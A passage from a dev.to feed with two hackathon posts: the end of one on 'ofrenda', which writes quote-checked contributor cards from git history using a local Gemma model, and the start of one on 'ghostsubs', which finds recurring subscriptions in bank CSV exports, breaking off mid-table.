&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;repository&lt;/th&gt;
&lt;th&gt;people with lines&lt;/th&gt;
&lt;th&gt;moved on&lt;/th&gt;
&lt;th&gt;cards&lt;/th&gt;
&lt;th&gt;first try&lt;/th&gt;
&lt;th&gt;after retry&lt;/th&gt;
&lt;th&gt;from git alone&lt;/th&gt;
&lt;th&gt;quotes checked&lt;/th&gt;
&lt;th&gt;first run&lt;/th&gt;
&lt;th&gt;second run&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;flask&lt;/td&gt;
&lt;td&gt;437&lt;/td&gt;
&lt;td&gt;415&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;25&lt;/td&gt;
&lt;td&gt;33.25 s&lt;/td&gt;
&lt;td&gt;0.24 s&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;requests&lt;/td&gt;
&lt;td&gt;501&lt;/td&gt;
&lt;td&gt;470&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;25&lt;/td&gt;
&lt;td&gt;31.93 s&lt;/td&gt;
&lt;td&gt;0.23 s&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;bottle&lt;/td&gt;
&lt;td&gt;159&lt;/td&gt;
&lt;td&gt;147&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;27&lt;/td&gt;
&lt;td&gt;29.72 s&lt;/td&gt;
&lt;td&gt;0.22 s&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;paramiko&lt;/td&gt;
&lt;td&gt;136&lt;/td&gt;
&lt;td&gt;134&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;29&lt;/td&gt;
&lt;td&gt;45.34 s&lt;/td&gt;
&lt;td&gt;0.22 s&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;total&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;40&lt;/td&gt;
&lt;td&gt;36&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;106&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The first run blames, asks Gemma 10 to 12 times at 2.58 to 3.96 seconds a call, reads the 39 sentences that passed the lists a second time (1 refused) and writes the cards. The second run prints the same bytes from the cache in 0.22 to 0.24 seconds, with the check run again on every cached reply.&lt;/p&gt;

&lt;p&gt;Six answers were refused, and two cards fell back to git alone. My favorite is in paramiko. Gemma quoted "Use 'with' for opening most file and SFTPFile objects", and the commit message says "SFTPFIle", typo included. The model had quietly fixed someone else's typo, so the quote was no longer what they typed. The check wants every letter, so it refused, and the retry picked three other messages.&lt;/p&gt;

&lt;p&gt;In flask, an answer and its retry quoted &lt;code&gt;Add async support&lt;/code&gt; where the message says &lt;code&gt;Add `async` support&lt;/code&gt;, and two quotes were a single word ("cleanup", "history") too short to stand on their own. The sixth refusal was the second reading's, and it was wrong: a requests sentence that said "They" throughout came back as assuming the person's gender. That card's retry quoted "history", so it came from git alone. None of the 40 cards carries death, put-down or gendered wording.&lt;/p&gt;

&lt;p&gt;A second cold run wrote the same 40 cards word for word. The time per call moved to 4.03 to 4.23 seconds, with other programs open on the machine, and I didn't isolate why.&lt;/p&gt;

&lt;p&gt;Here is the card for the person who made paramiko's initial import, from the measured run. The email address in that 2003 subject is printed as &lt;code&gt;&amp;lt;email&amp;gt;&lt;/code&gt;, as it is everywhere ofrenda shows text.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;   )   Robey Pointer
  |'|  2003-11-04 to 2011-05-23, 544 commits
  |_|  10,545 lines still here (33.1% of the lines read), in 60 files

       Robey Pointer established the foundational server-side SFTP support and
       created the BufferedFile abstraction to handle file-like operations.
       They also organized the transport logic into discrete units to improve
       the codebase structure.
       "sftp server support!" (a8a023a243, 2004-11-22)
       "add BufferedFile abstraction" (3e31771637, 2004-03-04)
       "split out a coherent chunk of functionality into a discrete unit"
         (36055c5ac2, 2005-05-01)
       (words by gemma4:12b, every quote checked against git)

       oldest line  LICENSE:1 (2003-11-04, 51607386c7)
                    |           GNU LESSER GENERAL PUBLIC LICENSE
       most lines   "[project @ Arch-1:&amp;lt;email&amp;gt;%secsh--dev--1.0--base-0]
                    initial import" (51607386c7, 2003-11-04), 1,193 lines
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Breaking good answers on purpose
&lt;/h3&gt;

&lt;p&gt;Refusals say nothing about what the check lets through. So &lt;code&gt;ofrenda.tamper&lt;/code&gt; breaks each of the 39 passing answers in every way it knows, from a lookalike letter inside a quote to a number spelled out or a gendered title, and keeps a broken answer only when it really is wrong.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1,687 broken answers, and 0 passed the check.&lt;/strong&gt; The breaks are made of the very words the rules look for, so this says the rules are wired in. How complete the lists are is what the held-out sets measure.&lt;/p&gt;

&lt;h3&gt;
  
  
  The spooky part lives in git
&lt;/h3&gt;

&lt;p&gt;A repository can carry config that makes git run a program while you only read it, a textconv driver during &lt;code&gt;git blame&lt;/code&gt;, for one. ofrenda asks the real repository a few &lt;code&gt;rev-parse&lt;/code&gt; questions and does every other read in a shadow repository whose &lt;code&gt;objects/info/alternates&lt;/code&gt; points at the real objects, so the repository's own config is never read. &lt;code&gt;tests/test_safety.py&lt;/code&gt; plants such programs, shows for five of them that plain git runs them, and checks that ofrenda runs none.&lt;/p&gt;

&lt;h3&gt;
  
  
  Where it is weak
&lt;/h3&gt;

&lt;p&gt;Quotes are verified, and the sentence around them is only screened. A plain lowercase claim the messages don't make, like "added redis support", passes the rules, and the second reading doesn't look for it.&lt;/p&gt;

&lt;p&gt;The false refusals were measured on one set of respectful sentences and on 38 real ones, and the reader still refused a faithful sentence in the measured run. Its gender answer also changed with the person's name on 10 of the 30 gendered sentences. The check changed twice before the measured runs, after a preliminary run on these same four repositories and after an audit got 45 bad sentences through it, and the code was frozen before measuring.&lt;/p&gt;

&lt;p&gt;Two people with the same full name become one card, since joining errs toward hiding a card over announcing a departure that didn't happen. Every number here is one model on one machine.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Does Open Innovation Matter?
&lt;/h2&gt;

&lt;p&gt;A commit history holds every contributor's name and email address, and years of messages about why things were done. For a private repository, I don't want that history on someone else's server just to get a sentence written about each person.&lt;/p&gt;

&lt;p&gt;With open weights, Gemma runs where the history already is. ofrenda's client refuses any Ollama host that isn't loopback unless you pass &lt;code&gt;--allow-remote-model&lt;/code&gt;, ignores proxy settings and follows no redirect. Ollama can also serve cloud models from the same local address, and its library lists &lt;code&gt;gemma4:cloud&lt;/code&gt; next to the local sizes, so ofrenda refuses those too.&lt;/p&gt;

&lt;p&gt;Owning the model is what made the second layer affordable. Asking the same local model one more question costs about 0.65 seconds per sentence, with no fee and nothing leaving the laptop, so every sentence gets read twice. A refused answer costs one more call of 2.6 to 4 seconds, which is why the check can afford to refuse a faithful sentence over one amount word.&lt;/p&gt;

&lt;p&gt;The model is also a file I can pin. Ollama reports its digest, so the measurement names the exact weights, and at temperature 0 the second cold run gave the same 40 cards word for word. The prompts are strings in &lt;code&gt;cards.py&lt;/code&gt; and &lt;code&gt;tone.py&lt;/code&gt; that I can read whole, and the reader I froze before the blind set was opened is the one that was measured.&lt;/p&gt;

&lt;p&gt;And the histories are open. Four public repositories, with years of messages written in the open, are what let me measure any of this.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Spirit of It
&lt;/h2&gt;

&lt;p&gt;Above the cards, ofrenda prints the elder, the oldest surviving line in the repository, whoever wrote it. These are the four elders:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;repository&lt;/th&gt;
&lt;th&gt;the line&lt;/th&gt;
&lt;th&gt;committed&lt;/th&gt;
&lt;th&gt;in a commit called&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;paramiko&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;LICENSE:1&lt;/code&gt;, &lt;code&gt;GNU LESSER GENERAL PUBLIC LICENSE&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;2003-11-04&lt;/td&gt;
&lt;td&gt;the initial import&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;bottle&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;LICENSE:3&lt;/code&gt;, &lt;code&gt;Permission is hereby granted, free of charge, to any person obtain...&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;2009-07-01&lt;/td&gt;
&lt;td&gt;"First release after 3 days of coding"&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;flask&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;docs/Makefile:9&lt;/code&gt;, &lt;code&gt;BUILDDIR      = _build&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;2010-04-06&lt;/td&gt;
&lt;td&gt;"Started working on documentation."&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;requests&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;pyproject.toml:29&lt;/code&gt;, &lt;code&gt;"Intended Audience :: Developers",&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;2011-02-13&lt;/td&gt;
&lt;td&gt;"easy setup.py"&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;In two of the four, the elder is the license. A license doesn't run, strictly speaking. Everything else in those repositories runs under it, including every line by the people on the cards.&lt;/p&gt;

&lt;p&gt;The requests line comes from a commit called "easy setup.py" in February 2011. Today it sits in &lt;code&gt;pyproject.toml&lt;/code&gt;, and blame followed it there.&lt;/p&gt;

&lt;p&gt;The commit messages keep their voices too. A paramiko card quotes "sftp server support!" as it was typed in November 2004, exclamation mark included. In flask, a commit from July 2010 says, all in lowercase, "in with the new. i have the bits in places where i think they should be, now i just need to work on the import scheme layout". Sixteen years later, 444 lines from that commit are still in flask.&lt;/p&gt;

&lt;p&gt;None of these words were written for an altar. People typed them on ordinary working days, and git kept every one as it was typed.&lt;/p&gt;

&lt;p&gt;The least a card can do is quote them right.&lt;/p&gt;

&lt;h2&gt;
  
  
  Prize Categories
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Best Use of Gemma&lt;/strong&gt;: Gemma 4 12B, running locally through Ollama, writes the sentence and picks the quotes on every card, then reads each sentence a second time for death, judgment and gender wording. Code checks every quote against git. The repo measures both on 40 real cards and on two held-out sets, one of them blind.&lt;/p&gt;

</description>
      <category>devchallenge</category>
      <category>hf26challenge</category>
      <category>opensource</category>
      <category>python</category>
    </item>
    <item>
      <title>Slow once, instant after: Gemma 4 names each bank descriptor one time on your laptop, and code checks every name</title>
      <dc:creator>Vinicius Pereira</dc:creator>
      <pubDate>Tue, 20 Oct 2026 12:52:53 +0000</pubDate>
      <link>https://dev.to/vinimabreu/slow-once-instant-after-gemma-4-names-each-bank-descriptor-one-time-on-your-laptop-and-code-28lk</link>
      <guid>https://dev.to/vinimabreu/slow-once-instant-after-gemma-4-names-each-bank-descriptor-one-time-on-your-laptop-and-code-28lk</guid>
      <description>&lt;p&gt;&lt;em&gt;This is a submission for the &lt;a href="https://dev.to/challenges/hacktoberfest-week3-2026-10-19"&gt;Hacktoberfest Open-Source AI Challenge Week 3: Slow and Steady&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What I Built
&lt;/h2&gt;

&lt;p&gt;Once a month, a folder of bank exports turns into one line:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ ghostsubs line examples/bank-a.csv
7 subscriptions, R$ 267,35/mo (other recurring: R$ 2.659,39/mo). Netflix went up 13% (R$ 39,90 -&amp;gt; R$ 44,90). New: HBO Max (trial R$ 1,99, now R$ 34,90 monthly). No charge from Globoplay since 2026-08-08 (cancelled?).
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;That one comes from a made-up Brazilian checking account. Every part of it is money that is easy to miss while scrolling.&lt;/p&gt;

&lt;p&gt;The HBO Max trial cost R$ 1,99, and the plan it turned into costs R$ 34,90 a month. The question mark after Globoplay is on purpose, because a statement can't tell a cancellation from a failed card.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ghostsubs&lt;/strong&gt; reads the CSV exports of a bank or card account and finds everything the account pays on repeat. There are no categories to set up and no budget to keep. You drop each export in a folder and read the line.&lt;/p&gt;

&lt;p&gt;The hard part sits in one column. Banks print each charge as a descriptor, and the descriptor rarely says "Spotify" cleanly. It says &lt;code&gt;PAYPAL *SPOTIFY 4025550134&lt;/code&gt;, &lt;code&gt;EBN*SPOTIFY&lt;/code&gt; or &lt;code&gt;SPOTIFY AB STOCKHOLM SE&lt;/code&gt;, sometimes all three for the same plan.&lt;/p&gt;

&lt;p&gt;Gemma 4 reads each descriptor and says which business it is, and it does nothing else. Everything about time and money is plain code.&lt;/p&gt;
&lt;h2&gt;
  
  
  Demo
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F79g22bg6liulqo8lgz86.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F79g22bg6liulqo8lgz86.gif" alt="ghostsubs: Gemma 4 names each bank descriptor on your laptop, and code checks every name before the monthly line is written" width="720" height="405"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The four statements in the repo are made up, so their output can be published. Brand names are real, because telling them apart is the job, and they are all national or international brands. Every card number, phone number, landlord, lender, local shop, utility and person is invented.&lt;/p&gt;

&lt;p&gt;Part of the report for the US card example, cut where it says &lt;code&gt;...&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ ghostsubs report examples/card-b.csv --currency '$'
ghostsubs report: examples/card-b.csv
1483 charges and 27 credits, 2024-08-01 to 2026-10-14, counted from 2026-10-14
read as: dates mdy, decimal '.', charges type column
names: 108 descriptors (44 once codes are masked), 0 asked to gemma4:12b now, 44 from cache; 108 named and checked, 0 UNVERIFIED (cleaned up by code)

13 subscriptions, $191.96/mo (other recurring: $217.40/mo). Spotify went up 8% ($11.99 -&amp;gt; $12.99). Adobe Creative Cloud renews in 9 days: $239.88. New: Audible (trial $0.99, now $14.95 monthly). No charge from Max since 2026-08-15 (cancelled?).

SUBSCRIPTIONS (13, $191.96/mo)
  ...
  YouTube Premium          monthly             $13.99        $13.99/mo  next 2026-10-27 (in 13 days)
      subscription
      named from:
      GOOGLE *YouTubePremium g.co/helppay#  &amp;lt;- "YouTubePremium"
      GOOGLE *YouTube Premium  &amp;lt;- "YouTube Premium"
      YOUTUBEPREMIUM GOOGLE.COM CA  &amp;lt;- "YOUTUBEPREMIUM"
      26 charges: 2024-08-27 $13.99 · 2024-09-27 $13.99 · 2024-10-27 $13.99 · 2024-11-27 $13.99 ...
  ...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;YouTube Premium was named from three descriptors, each shown with the exact quote Gemma pointed to. Code merged them into one plan because all three resolved to the same checked name.&lt;/p&gt;

&lt;p&gt;Also look at &lt;code&gt;0 asked to gemma4:12b now, 44 from cache&lt;/code&gt;, which is where the slow and steady part shows.&lt;/p&gt;
&lt;h2&gt;
  
  
  Code
&lt;/h2&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://assets.dev.to/assets/github-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/vinimabreu" rel="noopener noreferrer"&gt;
        vinimabreu
      &lt;/a&gt; / &lt;a href="https://github.com/vinimabreu/ghostsubs" rel="noopener noreferrer"&gt;
        ghostsubs
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      Finds recurring charges in bank and card CSV exports. Gemma 4 runs locally to name each descriptor, and code checks every name.
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;ghostsubs&lt;/h1&gt;
&lt;/div&gt;

&lt;p&gt;&lt;a href="https://github.com/vinimabreu/ghostsubs/actions/workflows/test.yml" rel="noopener noreferrer"&gt;&lt;img src="https://github.com/vinimabreu/ghostsubs/actions/workflows/test.yml/badge.svg" alt="test"&gt;&lt;/a&gt;
&lt;a href="https://www.python.org/downloads/" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/96abf9b704f80578ea56dd10cab0d911c56d46dbec347f431ece9cf60ac175ad/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f707974686f6e2d332e31312532422d626c7565" alt="Python 3.11+"&gt;&lt;/a&gt;
&lt;a href="https://github.com/vinimabreu/ghostsubs/LICENSE" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/f8df3091bbe1149f398a5369b2c39e896766f9f6efba3477c63e9b4aa940ef14/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f6c6963656e73652d4d49542d677265656e" alt="License: MIT"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Drop the CSV exports of a bank or card account into a folder. Once a month you get one line about everything the account pays on repeat:&lt;/p&gt;
&lt;div class="snippet-clipboard-content notranslate position-relative overflow-auto"&gt;&lt;pre class="notranslate"&gt;&lt;code&gt;$ ghostsubs line examples/bank-a.csv
7 subscriptions, R$ 267,35/mo (other recurring: R$ 2.659,39/mo). Netflix went up 13% (R$ 39,90 -&amp;gt; R$ 44,90). New: HBO Max (trial R$ 1,99, now R$ 34,90 monthly). No charge from Globoplay since 2026-08-08 (cancelled?)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The line reports a price that went up, a trial that turned into a paid plan, a yearly renewal that is close, and a service that stopped charging. You don't track anything yourself, so the money you stop leaking costs you no effort.&lt;/p&gt;
&lt;p&gt;A bank statement is private, so the model runs on your own laptop: &lt;a href="https://ollama.com/library/gemma4" rel="nofollow noopener noreferrer"&gt;Gemma 4&lt;/a&gt; (12B) through &lt;a href="https://ollama.com" rel="nofollow noopener noreferrer"&gt;Ollama&lt;/a&gt;, offline and free. Nothing leaves the machine unless you add &lt;code&gt;--ntfy&lt;/code&gt; (the one line, to the ntfy server you choose) or &lt;code&gt;--allow-remote-model&lt;/code&gt;…&lt;/p&gt;&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/vinimabreu/ghostsubs" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;Python 3.11 or newer, with no Python dependencies. The names need Ollama and the model:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ollama pull gemma4:12b
pipx &lt;span class="nb"&gt;install &lt;/span&gt;git+https://github.com/vinimabreu/ghostsubs
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Without Ollama, &lt;code&gt;--no-model&lt;/code&gt; runs on code cleanup alone. The tests replay the answers gemma4:12b gave for the example statements, so they run with no model and no network.&lt;/p&gt;

&lt;h2&gt;
  
  
  How I Built It
&lt;/h2&gt;

&lt;h3&gt;
  
  
  One job for the model
&lt;/h3&gt;

&lt;p&gt;Each new descriptor goes to Gemma 4 12B through Ollama on &lt;code&gt;127.0.0.1&lt;/code&gt;, at temperature 0, with a JSON schema. The answer has three fields: &lt;code&gt;merchant&lt;/code&gt;, &lt;code&gt;evidence&lt;/code&gt; (the piece of the descriptor that names it) and &lt;code&gt;kind&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The kind is subscription, bill, loan_or_rent or other. It decides which of two totals a charge adds to, and never touches an amount.&lt;/p&gt;

&lt;p&gt;Code in &lt;code&gt;recur.py&lt;/code&gt; decides which charges repeat and when the next one is due, so Gemma never writes a number that reaches you.&lt;/p&gt;

&lt;h3&gt;
  
  
  Every name is checked against its descriptor
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;naming.py&lt;/code&gt; keeps a name only when the quote is in the descriptor, character for character. Every word of the name must also be spelled out in that quote. A payment processor in front of the real merchant is refused, so for &lt;code&gt;PAYPAL *SPOTIFY&lt;/code&gt; an answer of PayPal fails.&lt;/p&gt;

&lt;p&gt;A word can be spelled out glued to others (&lt;code&gt;YouTubePremium&lt;/code&gt;) or cut short (&lt;code&gt;DISNEY PLU&lt;/code&gt;). Either way it has to keep three quarters of its length and start at the beginning of a word. So &lt;code&gt;APPLE.COM&lt;/code&gt; does not give Applebees.&lt;/p&gt;

&lt;p&gt;A word can also come from two closed tables in the code. One holds bank abbreviations like &lt;code&gt;MGMT&lt;/code&gt; and &lt;code&gt;IMOB&lt;/code&gt;, and the other holds five brand abbreviations like &lt;code&gt;AMZN&lt;/code&gt; and &lt;code&gt;MSFT&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The rows below come from the measurement file, and they show where the model earns its place:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;descriptor&lt;/th&gt;
&lt;th&gt;code cleanup alone&lt;/th&gt;
&lt;th&gt;Gemma 4 + check&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PADDLE.NET* N8N CLOUD1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Paddle&lt;/td&gt;
&lt;td&gt;n8n&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;HLU*HULU 8005550163-U&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Hlu Hulu U&lt;/td&gt;
&lt;td&gt;Hulu&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;MSFT *E0300ABCDE&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Msft&lt;/td&gt;
&lt;td&gt;Microsoft&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;AMZN Mktp US*2K4L19ZX0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Amzn Mktp&lt;/td&gt;
&lt;td&gt;Amazon Marketplace&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SPOTIFY AB STOCKHOLM SE&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Spotify Ab&lt;/td&gt;
&lt;td&gt;Spotify&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The last row matters because code cleanup gives &lt;code&gt;Spotify&lt;/code&gt; for the other two Spotify descriptors and &lt;code&gt;Spotify Ab&lt;/code&gt; for this one. So one plan comes out as two, one that "stopped" in May and one that "started" in June.&lt;/p&gt;

&lt;p&gt;The check also catches wrong answers, like &lt;code&gt;PAGTO FATURA CARTAO&lt;/code&gt; in the example statements, a credit card bill paid from a checking account. &lt;code&gt;PAGTO&lt;/code&gt; is Portuguese bank shorthand for "payment".&lt;/p&gt;

&lt;p&gt;Gemma read &lt;code&gt;PAG&lt;/code&gt; as the PagSeguro processor, and PagSeguro is not spelled out in the quote, so the check refused it. The report shows the cleaned descriptor instead, marked UNVERIFIED.&lt;/p&gt;

&lt;h3&gt;
  
  
  Slow the first time, instant after
&lt;/h3&gt;

&lt;p&gt;On the four example statements, the first run asked Gemma 100 questions and took 101.78 seconds. The second run took 0.57 seconds, against 0.53 seconds with no model at all.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;statement&lt;/th&gt;
&lt;th&gt;first run&lt;/th&gt;
&lt;th&gt;questions to the model&lt;/th&gt;
&lt;th&gt;from the cache&lt;/th&gt;
&lt;th&gt;no model&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;bank-a.csv&lt;/td&gt;
&lt;td&gt;29.78 s&lt;/td&gt;
&lt;td&gt;28&lt;/td&gt;
&lt;td&gt;0.11 s&lt;/td&gt;
&lt;td&gt;0.08 s&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;card-b.csv&lt;/td&gt;
&lt;td&gt;43.75 s&lt;/td&gt;
&lt;td&gt;44&lt;/td&gt;
&lt;td&gt;0.30 s&lt;/td&gt;
&lt;td&gt;0.30 s&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;export-c.csv&lt;/td&gt;
&lt;td&gt;17.10 s&lt;/td&gt;
&lt;td&gt;17&lt;/td&gt;
&lt;td&gt;0.08 s&lt;/td&gt;
&lt;td&gt;0.08 s&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;bank-d.csv&lt;/td&gt;
&lt;td&gt;11.15 s&lt;/td&gt;
&lt;td&gt;11&lt;/td&gt;
&lt;td&gt;0.08 s&lt;/td&gt;
&lt;td&gt;0.07 s&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The first-run times leave out loading the model into memory, because a warm-up call ran before them.&lt;/p&gt;

&lt;p&gt;Every answer is cached in &lt;code&gt;~/.cache/ghostsubs/&lt;/code&gt;, one file per model and prompt version, readable only by you. The cache key ignores case, spacing, digits and reference codes. So &lt;code&gt;AMZN Mktp US*2K4L19ZX0&lt;/code&gt; and next month's &lt;code&gt;AMZN Mktp US*RT5Y21QX8&lt;/code&gt; are one question.&lt;/p&gt;

&lt;p&gt;That is why card-b has 108 descriptors and only 44 questions. A new month's export only sends the model what the cache hasn't seen, like a merchant you never paid before.&lt;/p&gt;

&lt;h3&gt;
  
  
  Finding what recurs
&lt;/h3&gt;

&lt;p&gt;Code groups the charges by checked merchant and picks the cadence its median interval falls in.&lt;/p&gt;

&lt;p&gt;My first version of these rules reported nothing extra on the four example statements. Then it ran on 40 statements from seeds 1 to 10 of the same generator, which plant the same plans with other dates, amounts, posting delays and decoys.&lt;/p&gt;

&lt;p&gt;It reported 17 series nobody had planted, in 9 of the 10 seeds. Fourteen were two similar charges a year apart at a merchant paid often, like rides or groceries, read as a yearly plan.&lt;/p&gt;

&lt;p&gt;Two more were runs of equal cash withdrawals read as weekly, and one was an electricity bill. Fifteen of the 17 were still active, so they sat inside the total.&lt;/p&gt;

&lt;p&gt;After that I made the rules stricter. A series now has to land within a few days of one fixed calendar, and own at least half the charges under its descriptor. A yearly pair has to agree within 1%, and a weekly plan needs 6 charges.&lt;/p&gt;

&lt;p&gt;A second review found real plans those rules had dropped. A plan billed every 4 weeks drifts off any monthly calendar, so it now counts once 5 charges land within 4 days of one fixed spacing. A charge billed twice now sits aside as "charged twice?" instead of breaking the plan around it.&lt;/p&gt;

&lt;p&gt;The same 420 planted series, before and after:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;10 other seeds&lt;/th&gt;
&lt;th&gt;previous version&lt;/th&gt;
&lt;th&gt;this version&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;series reported&lt;/td&gt;
&lt;td&gt;437&lt;/td&gt;
&lt;td&gt;420&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;right schedule, amount and name&lt;/td&gt;
&lt;td&gt;370&lt;/td&gt;
&lt;td&gt;370&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;right schedule and amount, other name&lt;/td&gt;
&lt;td&gt;50&lt;/td&gt;
&lt;td&gt;50&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
